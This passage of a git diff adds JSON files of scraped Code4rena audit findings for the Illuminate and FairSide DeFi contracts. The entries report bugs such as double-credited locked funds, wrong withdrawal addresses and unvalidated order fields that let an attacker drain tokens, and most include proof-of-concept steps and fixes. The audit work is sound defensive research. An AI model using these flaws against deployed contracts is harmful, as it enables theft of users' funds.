`lent`: ``` fees[u] += totalFee; // transfer underlying tokens from user to illuminate Safe.transferFrom(IERC20(u), msg.sender, address(this), lent); ``` Therefore, `totalFee` has not been pulled from the user. The `fees` variable now includes tokens which are not in the contract, and `withdrawFee` will fail as [it tries to transfer](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L667) `fees[u]`. ## Recommended Mitigation Steps Pull `lent + totalFee` from the user. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/194", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/183", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Redeemer.redeem() for Element withdraws PT to wrong address.", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/182", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/92cbb0724e594ce025d6b6ed050d3548a38c264b/redeemer/Redeemer.sol#L187 # Vulnerability details ## Impact Redeemer.redeem() for Element withdraws PT to wrong address. This might cause a result of loss of PT. ## Proof of Concept According to the ReadMe.md, Redeemer should transfer external principal tokens from Lender.sol to Redeemer.sol. But it transfers to the \"marketPlace\" and it would lose the PT. ## Tools Used Manual Review ## Recommended Mitigation Steps Modify [IElementToken(principal).withdrawPrincipal(amount, marketPlace);](https://github.com/code-423n4/2022-06-illuminate/blob/92cbb0724e594ce025d6b6ed050d3548a38c264b/redeemer/Redeemer.sol#L187) like this. ``` IElementToken(principal).withdrawPrincipal(amount, address(this)); ``` "}, {"title": "Allowance check always true in ERC5095 redeem", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/173", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2022-06-illuminate-findings", "body": "Allowance check always true in ERC5095 redeem"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/169", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/167", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/166", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/160", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/147", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Checking yieldBearingToken against u instead of backingToken", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/139", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L446 # Vulnerability details ## Impact The lend function for tempus will fail with the right market. ## Proof of concept checks `if (ITempus(principal).yieldBearingToken() != IERC20Metadata(u))`, while it should check `ITempus(principal).backingToken()` ## Recommendation Do this instead: ``` if (ITempus(principal).backingToken() != IERC20Metadata(u)) ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/128", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/127", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/125", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/123", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/122", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/108", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "`Safe.sol` allow success transaction to fail", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/100", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Safe.sol#L82-L105 https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/marketplace/Safe.sol#L82-L105 https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/redeemer/Safe.sol#L82-L105 # Vulnerability details ## `Safe.sol` allow success transaction to fail Some ERC20 token implementations return more than 32 bytes(common Curve token). This can be a real concern since all core component using the same Safe Transfer Lib After some test using [https://github.com/Rari-Capital/solmate.git] ``` [BAIL] testTransferFromWithReturnsTooMuch() [FAIL] testTransferFromWithReturnsTooMuch(address,address,uint256,bytes). Counterexample: (0x00000000000000000000000000000000000ffffE, 0x0000000000000000000000000000000000000001, 115792089237316195423570985008687907853269984665640564039457584007913129639935, 0x) [BAIL] testApproveWithReturnsTooMuch() [FAIL] testFailApproveWithReturnsTwo(address,uint256,bytes). Counterexample: (0x000000000000000000000000000000000004C0E4, 0, 0x) [FAIL] testApproveWithReturnsTooMuch(address,uint256,bytes). Counterexample: (0x00000000000000000000000000000000000ffffE, 1, 0x) [FAIL] testTransferWithReturnsTooMuch(address,uint256,bytes). Counterexample: (0x00000000000000000000000000000000000fFFFf, 27379694730619439495811032571422462501613862458272780721729846947764021554765, 0x) [BAIL] testTransferWithReturnsTooMuch() [FAIL] testFailTransferWithGarbage(address,uint256,bytes,bytes). Counterexample: (0x00000000000000000000000000000000000F40ae, 68959440145808540021340254471931488759807906017241826129032747446, 0x15dedf2835614b24353f20baa93783e58366c16defd811eddd5de9d9057489ca, 0xd946b45606da60c706edf8c4eb76e0d281d8f063f14850d952ea10c697f0931756bec369411fa90953093f29086d44a50b2cf829a5815f5a72124ff447ac4a69) ``` ## Impact If a transaction fail or success will not be considered and this will pass any call of Safe lib ## Proof of Concept https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Safe.sol Safe lib used here ``` ./lender/Lender.sol ./marketplace/marketplace.sol ./redeemer/redeemer.sol ``` 1- no data if iszero(r) { // Copy the revert message into memory. returndatacopy(0, 0, returnDataSize) // Revert with the same message. revert(0, returnDataSize) } 2- returndatasize > 32 bytes default { // It returned some malformed input. result := 0 } 3- reverting require(success(result), 'transfer from failed'); ### Tools Used dapp-tools, vim ### Recommended Mitigation Steps Use the latest Safe Transfer lib available "}, {"title": "Invalid import", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/99", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-illuminate-findings", "body": "Invalid import"}, {"title": "Pendle Uses Wrong Return Value For `swapExactTokensForTokens()`", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/94", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L411 # Vulnerability details ## Impact The function `swapExactTokensForTokens()` will return and array with the 0 index being the input amount follow by each output amount. The 0 index is incorrectly used in Pendle `lend()` function as the output amount. As a result the value of `returned` will be the invalid (i.e. the input rather than the output). Since this impacts how many PTs will be minted to the `msg.sender`, the value will very likely be significantly over or under stated depending on the exchange rate. Hence the `msg.sender` will receive an invalid number of PT tokens. ## Proof of Concept ```solidity address[] memory path = new address[](2); path[0] = u; path[1] = principal; returned = IPendle(pendleAddr).swapExactTokensForTokens(a - fee, r, path, address(this), d)[0]; ``` ## Recommended Mitigation Steps The amount of `principal` returned should be index 1 of the array returned by `swapExactTokensForTokens()`. "}, {"title": "Calls To `Swivel.initiate()` Do Not Verify `o.exit` or `o.vault` Allowing An Attacker To Manipulate Accounting In Their Favour", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/93", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L299 # Vulnerability details ## Impact Swivel `lend()` does not validate the `o.exit` and `o.vault` for each order before making the external call to Swivel. These values determine which internal functions is [called in Swivel](https://github.com/Swivel-Finance/swivel/blob/2471ea5cda53568df5e5515153c6962f151bf358/contracts/v2/swivel/Swivel.sol#L64-L77). The intended code path is `initiateZcTokenFillingVaultInitiate()` which takes the underlying tokens and mints zcTokens to the `Lender`. If one of the other functions is called the accounting in `lend()`. Swivel may transfer more tokens from `Lender` to `Swivel` than paid for by the caller of `lend()`. The impact is that underlying tokens may be stolen from `Lender`. ## Proof of Concept Consider the example where [initiateZcTokenFillingZcTokenExit()](https://github.com/Swivel-Finance/swivel/blob/2471ea5cda53568df5e5515153c6962f151bf358/contracts/v2/swivel/Swivel.sol#L162) is called. This will transfer `a - premiumFilled + fee` from `Lender` to `Swivel` rather than the expected `a + fee`. ## Recommended Mitigation Steps In `lend()` restrict the values of `o.exit` and `o.vault` so only one case can be triggered in `Swivel.initiate()`. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/90", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/89", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/84", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/83", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/77", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}] \ No newline at end of file diff --git a/results/codearena_findings_2.json b/results/codearena_findings_2.json new file mode 100644 index 0000000..7d65778 --- /dev/null +++ b/results/codearena_findings_2.json @@ -0,0 +1 @@ +[{"title": "Wrong error message in `__castOffchainVotes`", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/36", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The error message states: ```solidity require( proposal.offchain, \"FairSideDAO::__castOffchainVotes: proposal is meant to be voted offchain\" ); ``` But it should be \"... meant to be voted onchain\". "}, {"title": "`FairSideDAO.SECS_PER_BLOCK` is inaccurate", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/34", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-05-fairside-findings", "body": "`FairSideDAO.SECS_PER_BLOCK` is inaccurate"}, {"title": "Bug inside ABDKMathQuad library", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/32", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-05-fairside-findings", "body": "Bug inside ABDKMathQuad library"}, {"title": "NFTs can never be redeemed back to their conviction scores leading to lock/loss of funds\u2028", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/31", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Besides the conviction scores of users, there appears to be tracking of the FairSide protocol\u2019s tokenized conviction score as a whole (using fscAddress = address(fairSideConviction)). This is evident in the attempted reduction of the protocol\u2019s score when a user acquires conviction back from a NFT. However, the complementary accrual of user's conviction score to fscAddress when user tokenizes their conviction score to mint a NFT is missing in tokenizeConviction(). Because of this missing updation of conviction score to fscAddress on tokenization, there are no checkpoints written for fscAddress and there also doesn\u2019t appear to be any initialization for bootstrapping this address\u2019s conviction score checkpoints. As a result, the sub224() on Line350 of ERC20ConvictionScore.sol will always fail with an underflow because fscOld = 0 (because fscNum = 0) and convictionScore > 0, effectively reverting all calls to acquireConviction(). The impact is that all tokenized NFTs can never be redeemed back to their conviction scores and therefore leads to lock/loss of FSD funds for users who tokenized/sold/bought FairSide NFTs. ## Proof of Concept 1. Alice tokenizes her conviction score into a NFT. She sells that NFT to Bob who pays an amount commensurate with the conviction score captured by that NFT (as valued by the market) and any FSDs locked with the NFT. 2. Bob then attempts to redeem the bought NFT back to the conviction score to use it on FairSide network. But the call to acquireConviction() fails. Bob is never able to redeem Alice\u2019s NFT and has lost the funds used to buy it. https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/dependencies/ERC20ConvictionScore.sol#L343-L355 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add appropriate logic to bootstrap+initialize fscAddress\u2019s tokenized conviction score checkpoints and update it during tokenization. "}, {"title": "Locked funds from tokenization are credited twice to user leading to protocol fund loss", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/30", "labels": ["bug", "question", "3 (High Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The tokens optionally locked during tokenization are released twice on acquiring conviction back from a NFT. (The incorrect double debit of locked funds during tokenization has been filed as a separate finding because it is not necessarily related and also occurs in a different part of the code.) When a user wants to acquire back the conviction score captured by a NFT, the FSD tokens locked, if any, are released to the user as well. However, this is incorrectly done twice. Released amount is transferred once on Line123 in _release() (via acquireConviction -> burn) of FairSideConviction.sol and again immediately after the burn on Line316 in acquireConviction() of ERC20ConvictionScore.sol. This leads to loss of protocol funds. ## Proof of Concept Alice tokenizes her conviction score into a NFT and locks 100 FSDs. Bob buys the NFT from Alice and acquires the conviction score back from the NFT. But instead of 100 FSDs that were supposed to be locked with the NFT, Bob receives 100+100 = 200 FSDs from FairSide protocol. https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/conviction/FairSideConviction.sol#L123 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/dependencies/ERC20ConvictionScore.sol#L314-L316 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove the redundant transfer of FSD tokens from protocol to user on Line316 in acquireConviction() of ERC20ConvictionScore.sol. "}, {"title": "Locked funds are debited twice from user during tokenization leading to fund loss", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/29", "labels": ["bug", "3 (High Risk)"], "target": "2021-05-fairside-findings", "body": "Locked funds are debited twice from user during tokenization leading to fund loss"}, {"title": "Conviction totals not updated during tokenization", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/28", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact _updateConvictionScore() function returns convictionDelta and governanceDelta which need to be used immediately in a call to _updateConvictionTotals(convictionDelta, governanceDelta) for updating the conviction totals of conviction and governance-enabled conviction for the entire FairSide network. This updation of totals after a call to _updateConvictionScore() is done on Line70 in _beforeTokenTransfer() and Line367 in updateConvictionScore() of ERC20ConvictionScore.sol. However, the return values of _updateConvictionScore() are ignored on Line284 in tokenizeConviction() and not used to update the totals using _updateConvictionTotals(convictionDelta, governanceDelta). The impact is that when a user tokenizes their conviction score, their conviction deltas are updated and recorded (only if the funds locked are zero which is incorrect and reported separately in a different finding) but the totals are not updated. This leads to incorrect accounting of TOTAL_CONVICTION_SCORE and TOTAL_GOVERNANCE_SCORE which are used in the calculation of tributes and therefore will lead to incorrect tribute calculations. ## Proof of Concept Alice calls tokenizeConviction() to convert her conviction score into an NFT. Her conviction deltas as returned by _updateConvictionScore() are ignored and TOTAL_CONVICTION_SCORE and TOTAL_GOVERNANCE_SCORE values are not updated. As a result, the tributes rewarded are proportionally more than what should have been the case because the conviction score totals are used as the denominator in availableTribute() and availableGovernanceTribute(). https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/dependencies/ERC20ConvictionScore.sol#L284 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/dependencies/ERC20ConvictionScore.sol#L108-L110 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/dependencies/ERC20ConvictionScore.sol#L52-L70 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/dependencies/ERC20ConvictionScore.sol#L365-L367 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/dependencies/ERC20ConvictionScore.sol#L73-L106 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/dependencies/TributeAccrual.sol#L83-L100 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/dependencies/TributeAccrual.sol#L102-L123 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Use the return values of _updateConvictionScore() function (i.e. convictionDelta and governanceDelta) on Line284 of ERC20ConvictionScore.sol and use them in a call to _updateConvictionTotals(convictionDelta, governanceDelta). "}, {"title": "Conviction scoring fails to initialize and bootstrap", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/26", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Conviction scores for new addresses/users fail to initialize+bootstrap in ERC20ConvictionScore\u2019s _updateConvictionScore() because a new user\u2019s numCheckpoints will be zero and never gets initialized. This effectively means that FairSide conviction scoring fails to bootstrap at all, leading to failure of the protocol\u2019s pivotal feature. ## Proof of Concept When Alice transfers FSD tokens to Bob for the first time, _beforeTokenTransfer(Alice, Bob, 100) is triggered which calls _updateConvictionScore(Bob, 100) on Line55 of ERC20ConvictionScore.sol. In function _updateConvictionScore(), given that this is the first time Bob is receiving FSD tokens, numCheckpoints[Bob] will be 0 (Line116) which will make ts = 0 (Line120), and Bob\u2019s FSD balance will also be zero (Bob never has got FSD tokens prior to this) which makes convictionDelta = 0 (Line122) and not let control go past Line129. This means that a new checkpoint never gets written, i.e. conviction score never gets initialized, for Bob or for any user for that matter. ## Tools Used Manual Analysis ## Recommended Mitigation Steps FairSide\u2019s adjustment of Compound\u2019s conviction scoring is based on time and so needs an initialization to take place vs. Compound\u2019s implementation. A new checkpoint therefore needs to be created+initialized for a new user during token transfer. "}, {"title": "Dangerous Solidity compiler pragma range that spans breaking versions", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/25", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-05-fairside-findings", "body": "Dangerous Solidity compiler pragma range that spans breaking versions"}, {"title": "Call to swapExactTokensForETH in liquidateDai() will always fail\u2028", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/21", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact liquidateDai() calls Uniswap\u2019s swapExactTokensForETH to swap Dai to ETH. This will work if msg.sender, i.e. FSD contract,\u00a0has already given the router an allowance of at least amount on the input token Dai. Given that there is no prior approval, the call to UniswapV2 router for swapping will fail because msg.sender has not approved UniswapV2 with an allowance for the tokens being attempted to swap. The impact is that updateCostShareRequest() will fail and revert while working with stablecoin Dai. ## Proof of Concept https://uniswap.org/docs/v2/smart-contracts/router02/#swapexacttokensfortokens https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/token/FSD.sol#L191 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/token/FSD.sol#L182-L198 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/network/FSDNetwork.sol#L323 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/network/FSDNetwork.sol#L307-L329 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/network/FSDNetwork.sol#L280 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/network/FSDNetwork.sol#L297 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add FSD approval to UniswapV2 with an allowance for the tokens being attempted to swap. "}, {"title": "Incorrect use of _addTribute instead of _addGovernanceTribute", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/20", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The addRegistrationTributeGovernance() function is called by the FSD network to update tribute when 7.5% is contributed towards governance as part of purchaseMembership(). However, this function incorrectly calls _addTribute() (as done in addRegistrationTribute) instead of _addGovernanceTribute(). The impact is that governanceTributes never gets updated and the entire tribute accounting logic is rendered incorrect. ## Proof of Concept https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/token/FSD.sol#L140 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/token/FSD.sol#L130 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/network/FSDNetwork.sol#L195 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/dependencies/TributeAccrual.sol#L30-L48 https://github.com/code-423n4/2021-05-FairSide/blob/3e9f6d40f70feb67743bdc70d7db9f5e3a1c3c96/contracts/dependencies/TributeAccrual.sol#L50-L70 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Use _addGovernanceTribute() instead of _addTribute on L140 of FSD.sol "}, {"title": "Missing use of DSMath functions may lead to underflows/overflows", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/19", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-05-fairside-findings", "body": "Missing use of DSMath functions may lead to underflows/overflows"}, {"title": "Use of ecrecover is susceptible to signature malleability", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/17", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-05-fairside-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The\u00a0ecrecover\u00a0function is used to verify and execute EIP-2612 permit transactions. The built-in EVM precompile ecrecover is susceptible to signature malleability (because of non-unique s and v values) which could lead to replay attacks (references: https://swcregistry.io/docs/SWC-117, https://swcregistry.io/docs/SWC-121 and https://medium.com/cryptronics/signature-replay-vulnerabilities-in-smart-contracts-3b6f7596df57). While this is not exploitable for replay attacks in the current implementation because of the use of nonces, this may become a vulnerability if used elsewhere. ## Proof of Concept https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/tokens/Erc2612.sol#L48 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Consider using OpenZeppelin\u2019s ECDSA library (which prevents this malleability) instead of the built-in function: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/cryptography/ECDSA.sol "}, {"title": "Repetitive storage access", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/15", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function _addTribute can reuse lastTribute to reduce the numbers of storage access: tributes[totalTributes - 1].amount = add224(...) can be replaced with lastTribute.amount = add224(...) as it is already a storage pointer that can be assigned a value with no need to recalculate the index and access the array again. Same situation with function _addGovernanceTribute governanceTributes. ## Recommended Mitigation Steps lastTribute.amount = add224(...) "}, {"title": "non existing function returns", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/10", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The functions castVote and castVoteBySig of FairSideDAO.sol have no \"returns\" parameters, however they do call \"return\" at the end of the function. This is confusing for the readers of the code. ## Proof of Concept // https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/dao/FairSideDAO.sol#L443 function castVote(uint256 proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig( .. ) public { ... return _castVote(signatory, proposalId, support); } ## Tools Used Editor ## Recommended Mitigation Steps Remove the \"return\" statements from castVote and castVoteBySig "}, {"title": "gracePeriod not increased after membership extension", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/6", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In the function purchaseMembership of FSDNetwork.sol, when the membership is extended then membership[msg.sender].creation is increased, however membership[msg.sender].gracePeriod is not increased. This might lead to a gracePeriod than is less then expected. It seems logical to also increase the gracePeriod ## Proof of Concept FSDNetwork.sol // https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/network/FSDNetwork.sol#L171 function purchaseMembership(uint256 costShareBenefit) external { ... if (membership[msg.sender].creation == 0) { ... membership[msg.sender].creation = block.timestamp; membership[msg.sender].gracePeriod = membership[msg.sender].creation + MEMBERSHIP_DURATION + 60 days; } else { .... membership[msg.sender].creation += durationIncrease; } ## Tools Used Editor ## Recommended Mitigation Steps Check if gracePeriod has to be increased also. When that is the case add the logic to do that. "}, {"title": "Constant values used inline", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/4", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-05-fairside-findings", "body": "Constant values used inline"}, {"title": "totalCostShareBenefit vs totalCostShareBenefits ", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/3", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-05-fairside-findings", "body": 